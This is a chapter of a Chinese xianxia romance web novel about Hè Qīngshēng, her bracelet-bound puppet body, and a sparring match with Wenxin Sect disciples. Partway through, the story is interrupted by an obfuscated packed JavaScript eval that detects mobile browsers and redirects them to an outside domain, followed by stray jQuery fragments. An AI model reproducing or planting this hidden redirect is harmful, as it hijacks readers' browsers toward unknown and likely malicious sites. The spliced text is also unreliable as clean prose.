熙山远 作品

59. 哪里不对

方寸之间,静谧无声。


贺卿生不记得普通人心跳的频次,只觉得应去劫很是反常。


她双手悄无声息地顺着他的背脊攀上脖颈,应去劫似乎轻颤了下。


煞气探查过一遍,没发现有受伤的地方。


居然还真没事。


贺卿生专注地检查应去劫筋脉修为,没有注意到这个拥抱,因她的动作而显得更加亲昵。同样的,她也错过了男人眼中一闪而过的暗色。


“这是什么?”她手腕上凭空多了只红镯,方才人偶珠钗俱全,腕上却并没有饰物。


贺卿生自然脱离怀抱,后退了步,但身后空间有限,她一踉跄跌回了美人榻。应去劫眼疾手快托住她的身体,隔着薄绸,他的掌心一片滚烫。待贺卿生稳住身形后,他又极端方地收回了动作。


“这是定魂玉,可以滋魂养魄,也能保护这幅躯壳免损于阴煞之气,延长使用寿命。”


贺卿生点点头,定魂玉常见,红色的定魂玉找起来却要费点功夫。她垂眸转了转镯子,红玉镂空,与其中黑沉的镯心相撞,发出悦耳的清响。


“这里面又是什么?”


应去劫顿了下,坦然道:“太阴香,月华凝为寒烟,限制魂魄行动。”


贺卿生抬头直直望向应去劫,一副耐心示意对方解释的模样,应去劫莞尔:“许久不见,你好奇心倒是多了不少。”


他手上不知何时多出了圈璎珞,俯身凑近贺卿生,三两下便给她戴上了,动作熟练得像是事先演练过。


“这具身体乃无尽秋莲藕所制,你魂魄初使,需要些外物帮助融合,定魂玉、太阴香,包括这串璎珞,都是对你神魂有益的小物件,你若不喜欢,我便去换个样式。”


贺卿生捻起璎珞,看着款式倒像是当初在京都铺子里挑的丹华灵韵,比起凡物灵气四溢,复刻样式倒是要费些功夫。


她摸完璎珞注意力又转回了镯子上,配套的红色饰品衬得青衫愈发古朴神秘,搭配起来有种诡谲奇异美感,倒不是不喜欢——


主要是她发现,镯子取不下来了。


而镯子取不下来,她的魂魄便离不了体。


“这怎么取?”


“啊?”应去劫表情微讶,像是经她点明才想起来似的,他纠结道:“先前为了防丢加了些小法术,彼时学艺不精,现在你强取恐怕会损坏物件。原料倒是不算难找,只是我重做怕是还要些时日。”


贺卿生看着应去劫说不清是不是委屈的神情,想到他纵然短时间内修为达到了元婴大圆满,但没有长久积累,在哪个宗门里攒灵石珍宝也都不容易,她默然产生了一种名为愧疚谴责的情绪。


她刚要开口说不必取,就见几道法术光速没进周身。


应去劫茅塞顿开,眼眸晶亮,自信道:“我加了唤心决,你唤我我便能出现在你身边,这样你要取的话喊我便是。”


贺卿生:?


好像有哪里不对。


“好了。”应去劫替她捋了捋鬓发,语气温柔:“还有什么好奇的吗?”


手指擦过耳尖,贺卿生觉得有些发痒,她侧开目光,捏着手腕若有所思道:“那我现在岂不是咬一口脆脆的?”


旖旎的氛围转瞬消失,应去劫朗笑出声。


贺卿生瞪了他一眼。


应去劫比了个缝嘴的手势,笑意仍旧从他眼中流出。


贺卿生看着他笑,心里像有根羽毛在轻轻撩拨,顿时坐立难安起来,她蹭一下站起身,直挺挺向外走。


“储物灵境脆弱,不能久待,外面来人了,我去看看。”


——


“天呐,好多血。”


“这是小师弟的剑。”


“怎么不见人呢?人去哪了?”


……


一出灵境,就好像有几百人在耳边念经,上一次这么吵还是在现代社会的五十四人小学课堂上。


此刻眼前明明只有五人,贺卿生揉了揉眉心。


“喂……”


喂字刚发出,下一秒齐刷刷的剑尖对准了她。


世界安静倒是安静了。


“你是何人?”为首的男子竖眉呵道。


贺卿生看了眼几人的装扮,白衣广袖,宝石蓝的披帛从一侧搭在肩头,另一越过臂间垂地,同腰间丹红的绸带缠缠绵绵交织。


这打扮……问心宗三个字浮现在脑海。


几百年物是人非,问心宗的历练弟子早换了新人,时移世易,贺卿生兀自感慨:还是觉得扶留的纯白校服没有问心宗的好看。


一柄长剑疯狂贴近她脚边,贺卿生竟从一柄剑身上看出了谄媚二字。


“这、这小师弟的剑易主了?”一个梳着双螺髻的小姑娘也注意到了这点,声音发颤:“你是不是杀了小师弟!夺了他的宝物?”


持剑的五人一愣,旋即全换上了一脸悲色,那悲痛中还掺杂着慎重和戒备。


问心宗的弟子年轻,但修为都是同辈里的佼佼者。


贺卿生没在几人攻来的时候解释,反而顺手捡起长剑同他们过起招来。


先前她便隐约察觉出力量的恢复,煞气不能精准评定修为几何,恰巧又得了新躯体,她便就着刚好送上门的陪练试试手感。


剑她不常用,隔久了还确实手生,好在应去劫的剑随主人,格外的乖顺,几招过后,对付几个小弟子便游刃有余起来。


“她手上的镯子好像也是师弟的!”双螺髻小姑娘痛心疾首,大呵一声持剑劈砍,慌乱中章法紊乱。


贺卿生肯定了她的真挚同门情,但否定了她的视力和惨不忍睹的剑法,一记简单的刺挑将人的武器拍开,近身挟持住小姑娘。


贺卿生戏谑道:“问心宗教剑法的那老头怕是年年考核都要扣你分数吧?”


小姑娘脸色涨得通红,你你你了半天,没憋出一个字,而后一副慷慨赴死的模样,对着剩下戒备的几人高声道:“师兄师姐,帮我给师父带个话,早知道好好学习了,你们别管我,赶紧走,这妖女不对劲呜呜。”


为首的男子神情悲愤,另一个女孩捏紧了剑柄,剩下的两个男子贺卿生觉得他们下一刻便要喊“我不走”“不能留你一个”之类的话了。


但应去劫适时出现,阻止了这场闹剧上演。


“生生?师兄师姐?”


贺卿生瞥了眼他,方才他跟在身后看戏,现在演刚出面时的惊讶倒是极其自然。


她思来想去,得出结论,应医师的长相和气质还真是太具备迷惑性了。


“师弟!”“师弟。”


“师弟你没事就好!”


贺卿生放开手中的女孩,应去劫走到她身侧,塞了块精致的小点心在她手里。


“尝尝。”


“不错嘛,都拜入问心宗了”


两人的关注点不同,同时出声后又极其默契地回复了对方。


站在一边的五个人目瞪口呆地看着这一幕。


“啊,你们原来认识啊。”为首的男子松了口气。


其余几人也瞬间松懈,除了刚被劫持的小姑娘。


她抱着剑哼了声,腮帮子气得鼓鼓的,像一只小河豚。


贺卿生慢吞吞吃着糕点,说吃也不尽然,只是借着太阴香尝到了味道,在外人看来她手上的糕点毫厘未伤,又被放回了应去劫手中。


应去劫


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970934|151305||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


接过后,一边同那几人解释,一边慢条斯理吃掉了糕点。


贺卿生在一旁安静地听着。


为首的大师兄叫游岱,排行二三是一对双生子,元青、元白,元为固光垣大家族姓,上一辈元姓子弟估计现在已是问心宗峰主了。第四的女孩是夏尔安,大乘中期,修为是这几人中最高的。最小的双螺髻小姑娘叫淳于千秋,淳于氏,海上瀛仙垣望族。


淳于二字一出,贺卿生的神色温柔了许多,波澜壮丽的海域总会养出一些自在率性的孩子。


游岱向贺卿生鞠了一躬,道:“先前不知姑娘同应师弟相识,多有冒犯,望姑娘海涵。”


“无妨,也算是不打不相识。”贺卿生和善笑道:“此后同行,诸位叫我鹤青便好,仙鹤的鹤,青白的青。”


夏尔安挤开游岱,抱拳道:“鹤青姑娘好身手,不知可否请您赐教一二。”


“诶,我说夏夏你这……”游岱劝阻,再次被淳于千秋挤开。


“大师兄你一边去。”


淳于千秋露出了标准的八颗牙微笑:“这出秘境之路比进来要凶险得多,除了防秘境灵禽异兽,还要防他宗小人,鹤青姐姐功夫了得,能教我们几手,有备无患不是更好吗?”


贺卿生抬手拦住应去劫劝阻的动作,忍住去摸淳于千秋脑袋的冲动,应下了她的请求。


夏尔安不愧是几人中修为最高最勤奋的,几乎是话音刚落,她就双眼冒光地冲上前来,一屁股挤开了淳于千秋。


淳于千秋一脸吃瘪,但又因为过于了解夏尔安,只能对武痴师姐表现出无可奈何的模样,看得贺卿生险些没憋住笑。


煞气铺开,当前方圆百里并无异况,她点拨几个小弟子也不费功夫。


五人排队上前过招,贺卿生依次拆解了几人剑招,细心点明其不足之处。一番动作下来,竟然有些兴奋。


五人受益匪浅地蹲一旁感悟去了,长剑拽着贺卿生坐回了应去劫身边。


“你这剑还挺有意思。”


“嗯,还没取名,你要吗?”


“啊?”贺卿生果断递给应去劫,“这剑灵智半开,哪有随便送人的道理。”


听了贺卿生的话,剑身委委屈屈往应去劫怀里钻,被贺卿生揪了出来:“嘶,刚夸完就犯蠢。”


“剑身尖利,我小应医师细皮嫩肉的,可遭不住你这样撒娇。”


应去劫脸上始终带着笑意,他轻声疑问:“看你用这剑也很顺手。”


“哪里,我师父师兄善剑,总逼我拿枪跟他们切磋,我是挨打多了练出来了。”


看着面前眉飞色舞的女子,应去劫心中的拼图像是又悄悄填满了一块。


在凡间,她经历过什么,他不知道。她做事的动机,他也不知道。她抗拒他参与的原因,他也不明白……


直到她消失的那一天,他才恍然惊觉,原来自己不那么了解她。


镜花水月,触手不可及。


在十二垣的流言蜚语里,或许同事实有所出入,可他却借着这些只言片语,窥探到了曾经那鲜活肆意的身影,似乎就此便能更了解她了一点。


分别的这些年里,这是他唯一的慰藉。


眼前人熟悉鲜活,毫不吝啬地讲述着她的曾经。


应去劫眸色暗了暗,将心中的术诀默默念了千万遍。


另一旁,这一幕全数落在了淳于千秋眼里,她暗暗咬紧了下唇。


暗中观察半天,终于找到时机的淳于千秋凑到贺卿生面前,撂下狠话:“别以为你这么简单把师兄师姐师弟收买了,就能万事大吉。”


“我知道你不对劲,我会一直监视着你的,休想干坏事!”